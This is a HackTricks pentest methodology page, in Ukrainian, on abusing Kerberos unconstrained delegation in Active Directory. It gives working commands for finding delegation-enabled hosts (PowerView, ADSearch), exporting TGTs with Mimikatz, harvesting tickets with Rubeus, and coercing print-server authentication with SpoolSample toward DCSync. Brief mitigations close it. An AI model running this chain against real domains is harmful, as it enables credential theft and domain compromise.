hacktricks/windows-hardening/active-directory-methodology/unconstrained-delegation.md

7.1 KiB
Raw Blame History

Unconstrained Delegation

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Unconstrained delegation

Це функція, яку адміністратор домену може налаштувати для будь-якого комп'ютера в домені. Тоді, щоразу, коли користувач входить на комп'ютер, копія TGT цього користувача буде надіслана всередині TGS, наданого DC і збережена в пам'яті в LSASS. Отже, якщо у вас є привілеї адміністратора на машині, ви зможете вивантажити квитки та видавати себе за користувачів на будь-якій машині.

Отже, якщо адміністратор домену входить на комп'ютер з активованою функцією "Unconstrained Delegation", і у вас є локальні адміністративні привілеї на цій машині, ви зможете вивантажити квиток і видавати себе за адміністратора домену будь-де (підвищення привілеїв домену).

Ви можете знайти об'єкти комп'ютерів з цим атрибутом, перевіряючи, чи атрибут userAccountControl містить ADS_UF_TRUSTED_FOR_DELEGATION. Ви можете зробити це за допомогою LDAP-фільтра (userAccountControl:1.2.840.113556.1.4.803:=524288), що робить powerview:

# List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
## ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
# Export tickets with Mimikatz
privilege::debug
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way

# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:<username> /interval:10 #Check every 10s for new TGTs

Завантажте квиток адміністратора (або користувача-жертви) в пам'ять за допомогою Mimikatz або Rubeus для Pass the Ticket.
Більше інформації: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/
Більше інформації про Unconstrained delegation на ired.team.

Force Authentication

Якщо зловмисник зможе зламати комп'ютер, дозволений для "Unconstrained Delegation", він може обманути сервер друку, щоб автоматично увійти на нього, зберігаючи TGT в пам'яті сервера.
Тоді зловмисник зможе виконати атаку Pass the Ticket, щоб видавати себе за обліковий запис комп'ютера сервера друку.

Щоб змусити сервер друку увійти на будь-яку машину, ви можете використовувати SpoolSample:

.\SpoolSample.exe <printmachine> <unconstrinedmachine>

Якщо TGT отримано від контролера домену, ви можете виконати DCSync attack і отримати всі хеші з DC.
Більше інформації про цю атаку на ired.team.

Ось інші способи спробувати примусити аутентифікацію:

{% content-ref url="printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Зменшення ризиків

  • Обмежте входи DA/Admin до конкретних сервісів
  • Встановіть "Обліковий запис є чутливим і не може бути делегований" для привілейованих облікових записів.

{% hint style="success" %} Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks
{% endhint %}